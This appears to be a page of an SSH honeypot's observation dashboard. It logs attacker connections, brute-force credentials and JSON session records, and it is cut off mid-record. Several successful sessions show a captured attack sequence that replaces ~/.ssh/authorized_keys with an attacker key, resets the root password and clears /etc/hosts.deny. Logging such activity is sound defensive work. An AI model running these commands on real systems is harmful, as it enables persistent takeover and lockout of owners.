nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 159 / 12412 (620593 total records)
Passive Observation Node - Active Operational Overview
92.118.39.14
2026-10-05 04:00:19.523177 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 68f6903eabc1
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "68f6903eabc1",
  "src_ip": "92.118.39.14",
  "start_time": "2026-10-05T04:00:19.523177Z",
  "end_time": "2026-10-05T04:00:19.689585Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
117.173.65.4
2026-10-05 03:59:42.749310 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 04158d264a53
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "04158d264a53",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:59:42.749310Z",
  "end_time": "2026-10-05T04:01:42.803911Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
87.251.64.129
2026-10-05 03:58:21.518228 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ab29bdfbf93c
Client Version: GET / HTTP/1.1
Engagement Duration: 0.4s
{
  "id": "ab29bdfbf93c",
  "src_ip": "87.251.64.129",
  "start_time": "2026-10-05T03:58:21.518228Z",
  "end_time": "2026-10-05T03:58:21.952417Z",
  "duration": "0.4",
  "version": "GET / HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
87.251.64.129
2026-10-05 03:58:21.174450 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 160f1504e663
Client Version: \xfc\xfc\xceZ\xff\xa6LMf\xf6\x87\xf57\x86u\xa9\xc3F0\xbeu\xeaal\xbd=\xa2\xea\xb2 \x9dweZtZ\xc5\x93\xf9؛Q\xf9 \xa9v\x8c\xce\xd8s\xe8\xca\xcb\\xc0,\xc00̨̩\xc0\xaf\xc0\xad\xc0]\xc0a\xc0+\xc0/\xc0\xae\xc0\xac\xc0\\xc0`\xc0$\xc0(\xc0s\xc0w\xc0#\xc0'\xc0r\xc0v\xc0
Engagement Duration: 0.0s
{
  "id": "160f1504e663",
  "src_ip": "87.251.64.129",
  "start_time": "2026-10-05T03:58:21.174450Z",
  "end_time": "2026-10-05T03:58:21.180022Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\\xfc\\xceZ\\xff\\xa6LMf\\xf6\\x87\\xf57\\x86\u000fu\\xa9\\xc3\u0019F0\\xbeu\\xeaal\\xbd=\\xa2\\xea\\xb2\u001c\u0015 \\x9dw\u0010eZ\u0016tZ\u0007\\xc5\u0007\\x93\\xf9\u061bQ\u001c\u000f\\xf9 \u0015\\xa9v\\x8c\\xce\\xd8s\\xe8\u0010\\xca\\xcb\u0003\u0000\\\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0329\u0328\\xc0\\xaf\\xc0\\xad\\xc0]\\xc0a\\xc0+\\xc0/\\xc0\\xae\\xc0\\xac\\xc0\\\\xc0`\\xc0$\\xc0(\\xc0s\\xc0w\\xc0#\\xc0'\\xc0r\\xc0v\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
103.248.120.6
2026-10-05 03:58:10.665181 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: root2

Record ID: 5a50d200701f
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "5a50d200701f",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:58:10.665181Z",
  "end_time": "2026-10-05T03:58:13.384197Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "root2",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:56:53.584644 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 328f3f36264b
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "328f3f36264b",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:56:53.584644Z",
  "end_time": "2026-10-05T03:58:53.589814Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
103.248.120.6
2026-10-05 03:55:38.288874 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: yocto

Record ID: 4970f78d0bc4
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "4970f78d0bc4",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:55:38.288874Z",
  "end_time": "2026-10-05T03:55:41.025662Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "yocto",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:54:15.788430 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b1463c6ea13e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "b1463c6ea13e",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:54:15.788430Z",
  "end_time": "2026-10-05T03:56:15.800741Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
117.173.65.4
2026-10-05 03:54:07.780647 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8f38c841e1ac
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "8f38c841e1ac",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:54:07.780647Z",
  "end_time": "2026-10-05T03:56:07.788856Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
117.173.65.4
2026-10-05 03:54:03.273945 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / 1235

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:qNOISFoOGFXy"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 9f0516b68b66
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 33.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "9f0516b68b66",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:54:03.273945Z",
  "end_time": "2026-10-05T03:54:36.737921Z",
  "duration": "33.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "1235"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:qNOISFoOGFXy\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:qNOISFoOGFXy\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
103.248.120.6
2026-10-05 03:53:07.998601 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kjs

Record ID: 4496b1d175b7
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 2.8s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "4496b1d175b7",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:53:07.998601Z",
  "end_time": "2026-10-05T03:53:10.764201Z",
  "duration": "2.8",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "kjs",
      "pass": "kjs"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
2.188.206.146
2026-10-05 03:52:50.059424 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / ubuntu123456789

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo xsec
Record ID: 8456caed74af
Client Version: SSH-2.0-Go
Engagement Duration: 2.8s
HASSH Fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6
{
  "id": "8456caed74af",
  "src_ip": "2.188.206.146",
  "start_time": "2026-10-05T03:52:50.059424Z",
  "end_time": "2026-10-05T03:52:52.890633Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "98ddc5604ef6a1006a2b49a58759fbe6",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "ubuntu123456789"
  },
  "commands": [
    "echo xsec"
  ],
  "detailed_commands": [
    {
      "cmd": "echo xsec",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
121.204.171.142
2026-10-05 03:51:50.893974 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rk

Record ID: 6704858233a9
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "6704858233a9",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:51:50.893974Z",
  "end_time": "2026-10-05T03:51:54.878349Z",
  "duration": "4.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "rk",
      "pass": "rk@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
117.173.65.4
2026-10-05 03:51:12.695275 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 61e4729443e7
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "61e4729443e7",
  "src_ip": "117.173.65.4",
  "start_time": "2026-10-05T03:51:12.695275Z",
  "end_time": "2026-10-05T03:53:12.701869Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
103.248.120.6
2026-10-05 03:50:55.275771 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 53b75f6c110e
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 1.6s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "53b75f6c110e",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:50:55.275771Z",
  "end_time": "2026-10-05T03:50:56.927412Z",
  "duration": "1.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:50:54.869545 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b689a7543afb
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "b689a7543afb",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:50:54.869545Z",
  "end_time": "2026-10-05T03:52:54.873643Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
103.248.120.6
2026-10-05 03:50:54.294862 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7fd5746b582f
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 0.7s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "7fd5746b582f",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:50:54.294862Z",
  "end_time": "2026-10-05T03:50:55.012233Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
31.173.8.170
2026-10-05 03:50:49.081998 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / Passw0rd

Record ID: 9afbcb0a0e36
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 7.0s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "9afbcb0a0e36",
  "src_ip": "31.173.8.170",
  "start_time": "2026-10-05T03:50:49.081998Z",
  "end_time": "2026-10-05T03:50:56.046428Z",
  "duration": "7.0",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "Passw0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
103.248.120.6
2026-10-05 03:50:43.846350 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456aA@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 246d0929ab2c
Client Version: SSH-2.0-libssh_0.11.1
Engagement Duration: 13.1s
HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb
{
  "id": "246d0929ab2c",
  "src_ip": "103.248.120.6",
  "start_time": "2026-10-05T03:50:43.846350Z",
  "end_time": "2026-10-05T03:50:56.924430Z",
  "duration": "13.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456aA@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
112.168.1.182
2026-10-05 03:50:40.778833 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / Passw0rd

Record ID: 19b08e0e996f
Client Version: SSH-2.0-OpenSSH_7.4
Engagement Duration: 7.9s
HASSH Fingerprint: acaa53e0a7d7ac7d1255103f37901306
{
  "id": "19b08e0e996f",
  "src_ip": "112.168.1.182",
  "start_time": "2026-10-05T03:50:40.778833Z",
  "end_time": "2026-10-05T03:50:48.731123Z",
  "duration": "7.9",
  "version": "SSH-2.0-OpenSSH_7.4",
  "hassh": "acaa53e0a7d7ac7d1255103f37901306",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "Passw0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:49:58.906983 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: dc50c1370dc7
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "dc50c1370dc7",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:49:58.906983Z",
  "end_time": "2026-10-05T03:51:58.915428Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.204.171.142
2026-10-05 03:48:36.086059 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a6d00516fbee
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2m 0s
{
  "id": "a6d00516fbee",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:48:36.086059Z",
  "end_time": "2026-10-05T03:50:36.095640Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
121.204.171.142
2026-10-05 03:48:31.099701 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3673c6fbe80b
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3673c6fbe80b",
  "src_ip": "121.204.171.142",
  "start_time": "2026-10-05T03:48:31.099701Z",
  "end_time": "2026-10-05T03:48:35.263144Z",
  "duration": "4.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
121.204.171.142
2026-10-05 03:48:26.671986 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / Wc123456

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:oeZ1MxizBLbg"|chpasswd|bash
